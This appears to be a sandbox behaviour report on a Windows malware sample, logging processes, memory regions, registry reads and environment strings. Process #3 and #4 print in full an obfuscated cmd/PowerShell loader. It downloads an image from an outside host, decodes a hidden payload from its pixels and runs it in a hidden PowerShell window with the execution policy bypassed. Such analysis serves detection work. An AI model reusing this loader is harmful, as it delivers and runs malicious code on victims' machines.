Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')(( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^& True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&(' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a' True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ( True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') (" True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{ True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0 True 1
Fn
Get Environment String name = Rc, result_out = !Rc!EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0} True 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Process #3: cmd.exe
70 0
»
Information Value
ID #3
File Name c:\windows\system32\cmd.exe
Command Line cmd /CEchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^^^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^^^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^^^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^^^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^^^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^^^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) |c:\wIndOws\SyStem32\CliP.ExE &&CMd.Exe /c powerSHELL -ExeCUTIONpOl BYPass -NoniN -wIndOwSTY HIDDEn -nOpROFi -st -NolOgO . ( \"{0}{1}{2}\" -f 'Add',( \"{0}{1}\" -f'-','Typ' ),'e' ) -Assem (\"{3}{1}{5}{0}{4}{2}\" -f ( \"{2}{1}{0}\" -f'd','.Win','em' ),'ys','s','S',( \"{2}{1}{0}\"-f 'Form','.','ows'),'t') ; ^^^& ( ${e`NV`:cOMs`pec}[4,15,25]-jOIN'') ( ( [SYSteM.WiNDoWs.ForMS.CLIPbOaRd]::(\"{0}{1}\" -f 'G',(\"{0}{1}\" -f'e','ttExT' )).\"i`Nv`oKE\"( ) ) ) ; [System.Windows.Forms.Clipboard]::(\"{0}{1}\" -f'Cl','ear' ).\"i`NvO`kE\"( )
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:56, Reason: Child Process
Unmonitor End Time: 00:01:41, Reason: Self Terminated
Monitor Duration 00:00:45
OS Process Information
»
Information Value
PID 0xb24
Parent PID 0xad8 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B28
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000050000 0x00050000 0x00056fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000060000 0x00060000 0x00061fff Pagefile Backed Memory rw True False False -
private_0x0000000000070000 0x00070000 0x00070fff Private Memory rw True False False -
private_0x0000000000080000 0x00080000 0x00080fff Private Memory rw True False False -
private_0x00000000000b0000 0x000b0000 0x001affff Private Memory rw True False False -
private_0x0000000000200000 0x00200000 0x002fffff Private Memory rw True False False -
locale.nls 0x00300000 0x00366fff Memory Mapped File r False False False -
private_0x0000000000410000 0x00410000 0x0041ffff Private Memory rw True False False -
private_0x0000000000420000 0x00420000 0x0051ffff Private Memory rw True False False -
pagefile_0x0000000000520000 0x00520000 0x006a7fff Pagefile Backed Memory r True False False -
pagefile_0x00000000006b0000 0x006b0000 0x00830fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000840000 0x00840000 0x01c3ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001c40000 0x01c40000 0x01f82fff Pagefile Backed Memory r True False False -
sortdefault.nls 0x01f90000 0x0225efff Memory Mapped File r False False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffd9000 0x7fffffd9000 0x7fffffd9fff Private Memory rw True False False -
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory rw True False False -
Host Behavior
File (11)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\aETAdzjz\Desktop type = file_attributes True 2
Fn
Get Info c:\wIndOws\SyStem32\CliP.ExE type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_INPUT_HANDLE - True 1
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (3)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\cmd.exe os_pid = 0xb2c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Create c:\wIndOws\SyStem32\clip.exe os_pid = 0xb34, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Create C:\Windows\system32\cmd.exe os_pid = 0xb3c, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a210000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x77b20000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
System (2)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2018-10-24 06:16:23 (UTC) True 1
Fn
Get Time type = Ticks, time = 123802 True 1
Fn
Environment (26)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 8
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 5
Fn
Get Environment String name = PROMPT, result_out = $P$G True 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 2
Fn
Get Environment String name = KEYS False 1
Fn
Get Environment String name = '){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7 False 1
Fn
Set Environment String name = =C:, value = C:\Users\aETAdzjz\Desktop True 1
Fn
Set Environment String name = COPYCMD True 3
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #4: cmd.exe
51 0
»
Information Value
ID #4
File Name c:\windows\system32\cmd.exe
Command Line C:\Windows\system32\cmd.exe /S /D /c" EchO/ $4G7=[tYPE]('M'+'ATh') ; $48X7= [type]('SystEm.T'+'Ex'+'T'+'.ENc'+'o'+'DIng'); .("{1}{0}" -f'l','sa') ('a') ("{0}{2}{1}" -f'New','ct','-Obje');^&("{0}{1}"-f 'Add-T','ype') -AssemblyName "System.Drawing";${g}=^&('a') ("{4}{2}{1}{0}{3}"-f '.Bi','ing','w','tmap','System.Dra')((^&('a') ("{0}{1}{3}{2}" -f 'Net.','We','t','bClien')).("{1}{0}" -f'penRead','O').Invoke("https://images2.imgbox.com/ca/88/A2ZSlW6S_o.png"));${O}=^&('a') ("{0}{1}"-f'Byte','[]') 1860;(0..2)^|.('%'){foreach(${x} in(0..619)){${p}=${g}.("{0}{1}" -f 'GetPi','xel').Invoke(${x},${_});${o}[${_}*620+${X}]=( $4g7::("{1}{0}"-f 'loor','F').Invoke((${p}."B"-band15)*16)-bor(${p}."g" -band 15))}};^&("{0}{1}" -f'I','EX')( ( LS vARIabLE:48x7 ).ValUE::"a`scii"."get`s`TrInG"(${O}[0..1341])) "
Initial Working Directory C:\Users\aETAdzjz\Desktop\
Monitor Start Time: 00:00:56, Reason: Child Process
Unmonitor End Time: 00:00:58, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb2c
Parent PID 0xb24 (c:\windows\system32\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username YKYD69Q\aETAdzjz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B30
Region
»
Name Start VA End VA Type Permissions Monitored Dumped YARA Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory rw True False False -
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory rw True False False -
pagefile_0x0000000000030000 0x00030000 0x00033fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000040000 0x00040000 0x00040fff Pagefile Backed Memory r True False False -
locale.nls 0x00050000 0x000b6fff Memory Mapped File r False False False -
pagefile_0x00000000000c0000 0x000c0000 0x000c6fff Pagefile Backed Memory r True False False -
pagefile_0x00000000000d0000 0x000d0000 0x000d1fff Pagefile Backed Memory rw True False False -
private_0x00000000000e0000 0x000e0000 0x001dffff Private Memory rw True False False -
private_0x00000000001e0000 0x001e0000 0x001e0fff Private Memory rw True False False -
private_0x00000000001f0000 0x001f0000 0x002effff Private Memory rw True False False -
private_0x00000000002f0000 0x002f0000 0x003effff Private Memory rw True False False -
private_0x00000000003f0000 0x003f0000 0x003f0fff Private Memory rw True False False -
private_0x00000000004e0000 0x004e0000 0x004effff Private Memory rw True False False -
pagefile_0x00000000004f0000 0x004f0000 0x00677fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000680000 0x00680000 0x00800fff Pagefile Backed Memory r True False False -
pagefile_0x0000000000810000 0x00810000 0x01c0ffff Pagefile Backed Memory r True False False -
pagefile_0x0000000001c10000 0x01c10000 0x01f52fff Pagefile Backed Memory r True False False -
cmd.exe 0x4a210000 0x4a268fff Memory Mapped File rwx True False False -
user32.dll 0x77a20000 0x77b19fff Memory Mapped File rwx False False False -
kernel32.dll 0x77b20000 0x77c3efff Memory Mapped File rwx False False False -
ntdll.dll 0x77c40000 0x77de8fff Memory Mapped File rwx False False False -
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory r True False False -
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory r True False False -
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory r True False False -
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory r True False False -
winbrand.dll 0x7fef9350000 0x7fef9357fff Memory Mapped File rwx False False False -
kernelbase.dll 0x7fefdd60000 0x7fefddcafff Memory Mapped File rwx False False False -
gdi32.dll 0x7fefdf60000 0x7fefdfc6fff Memory Mapped File rwx False False False -
imm32.dll 0x7fefed60000 0x7fefed8dfff Memory Mapped File rwx False False False -
msctf.dll 0x7feff1e0000 0x7feff2e8fff Memory Mapped File rwx False False False -
usp10.dll 0x7feff4d0000 0x7feff598fff Memory Mapped File rwx False False False -
msvcrt.dll 0x7feff5a0000 0x7feff63efff Memory Mapped File rwx False False False -
lpk.dll 0x7feff860000 0x7feff86dfff Memory Mapped File rwx False False False -
apisetschema.dll 0x7fefff60000 0x7fefff60fff Memory Mapped File rwx False False False -
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory r True False False -
private_0x000007fffffdd000 0x7fffffdd000 0x7fffffdefff Private Memory rw True False False -
private_0x000007fffffdf000 0x7fffffdf000 0x7fffffdffff Private Memory rw True False False -
Host Behavior
File (12)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\aETAdzjz\Desktop type = file_attributes True 2
Fn
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 6
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Write STD_OUTPUT_HANDLE size = 755 True 1
Fn
Data
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 24, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a210000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x77b20000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x77b36d40 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x77b323d0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x77b28290 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x77b317e0 True 1
Fn
System (2)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2018-10-24 06:16:23 (UTC) True 1
Fn
Get Time type = Ticks, time = 123880 True 1
Fn
Environment (10)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 3
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Microsoft Office\root\Client True 1
